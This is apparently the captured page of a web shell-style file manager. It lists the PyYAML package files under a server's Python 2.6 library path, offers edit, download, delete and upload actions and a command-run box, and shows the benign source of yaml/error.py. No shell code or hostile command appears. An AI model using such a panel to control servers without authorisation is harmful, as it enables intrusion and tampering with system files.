/
usr
/
lib64
/
python2.6
/
site-packages
/
yaml
/
/usr/lib64/python2.6/site-packages/yaml
mkdir
upload
Name
Size
Mode
Actions
composer.py
4921
0644
edit
dl
rm
composer.pyc
4573
0644
edit
dl
rm
composer.pyo
4573
0644
edit
dl
rm
constructor.py
25145
0644
edit
dl
rm
constructor.pyc
22158
0644
edit
dl
rm
constructor.pyo
22158
0644
edit
dl
rm
cyaml.py
3290
0644
edit
dl
rm
cyaml.pyc
3814
0644
edit
dl
rm
cyaml.pyo
3814
0644
edit
dl
rm
dumper.py
2719
0644
edit
dl
rm
dumper.pyc
2567
0644
edit
dl
rm
dumper.pyo
2567
0644
edit
dl
rm
emitter.py
43298
0644
edit
dl
rm
emitter.pyc
32589
0644
edit
dl
rm
emitter.pyo
32589
0644
edit
dl
rm
error.py
2559
0644
edit
dl
rm
error.pyc
2996
0644
edit
dl
rm
error.pyo
2996
0644
edit
dl
rm
events.py
2445
0644
edit
dl
rm
events.pyc
4979
0644
edit
dl
rm
events.pyo
4979
0644
edit
dl
rm
loader.py
1132
0644
edit
dl
rm
loader.pyc
1890
0644
edit
dl
rm
loader.pyo
1890
0644
edit
dl
rm
nodes.py
1440
0644
edit
dl
rm
nodes.pyc
2186
0644
edit
dl
rm
nodes.pyo
2186
0644
edit
dl
rm
parser.py
25542
0644
edit
dl
rm
parser.pyc
14866
0644
edit
dl
rm
parser.pyo
14802
0644
edit
dl
rm
reader.py
6746
0644
edit
dl
rm
reader.pyc
5645
0644
edit
dl
rm
reader.pyo
5645
0644
edit
dl
rm
representer.py
17642
0644
edit
dl
rm
representer.pyc
14808
0644
edit
dl
rm
representer.pyo
14808
0644
edit
dl
rm
resolver.py
8972
0644
edit
dl
rm
resolver.pyc
6734
0644
edit
dl
rm
resolver.pyo
6734
0644
edit
dl
rm
scanner.py
52630
0644
edit
dl
rm
scanner.pyc
33572
0644
edit
dl
rm
scanner.pyo
33526
0644
edit
dl
rm
serializer.py
4171
0644
edit
dl
rm
serializer.pyc
4367
0644
edit
dl
rm
serializer.pyo
4367
0644
edit
dl
rm
tokens.py
2573
0644
edit
dl
rm
tokens.pyc
6528
0644
edit
dl
rm
tokens.pyo
6528
0644
edit
dl
rm
__init__.py
9776
0644
edit
dl
rm
__init__.pyc
11453
0644
edit
dl
rm
__init__.pyo
11453
0644
edit
dl
rm
Edit:
/usr/lib64/python2.6/site-packages/yaml/error.py
(2559B)
__all__ = ['Mark', 'YAMLError', 'MarkedYAMLError'] class Mark(object): def __init__(self, name, index, line, column, buffer, pointer): self.name = name self.index = index self.line = line self.column = column self.buffer = buffer self.pointer = pointer def get_snippet(self, indent=4, max_length=75): if self.buffer is None: return None head = '' start = self.pointer while start > 0 and self.buffer[start-1] not in u'\0\r\n\x85\u2028\u2029': start -= 1 if self.pointer-start > max_length/2-1: head = ' ... ' start += 5 break tail = '' end = self.pointer while end < len(self.buffer) and self.buffer[end] not in u'\0\r\n\x85\u2028\u2029': end += 1 if end-self.pointer > max_length/2-1: tail = ' ... ' end -= 5 break snippet = self.buffer[start:end].encode('utf-8') return ' '*indent + head + snippet + tail + '\n' \ + ' '*(indent+self.pointer-start+len(head)) + '^' def __str__(self): snippet = self.get_snippet() where = " in \"%s\", line %d, column %d" \ % (self.name, self.line+1, self.column+1) if snippet is not None: where += ":\n"+snippet return where class YAMLError(Exception): pass class MarkedYAMLError(YAMLError): def __init__(self, context=None, context_mark=None, problem=None, problem_mark=None, note=None): self.context = context self.context_mark = context_mark self.problem = problem self.problem_mark = problem_mark self.note = note def __str__(self): lines = [] if self.context is not None: lines.append(self.context) if self.context_mark is not None \ and (self.problem is None or self.problem_mark is None or self.context_mark.name != self.problem_mark.name or self.context_mark.line != self.problem_mark.line or self.context_mark.column != self.problem_mark.column): lines.append(str(self.context_mark)) if self.problem is not None: lines.append(self.problem) if self.problem_mark is not None: lines.append(str(self.problem_mark)) if self.note is not None: lines.append(self.note) return '\n'.join(lines)
Save
cmd:
run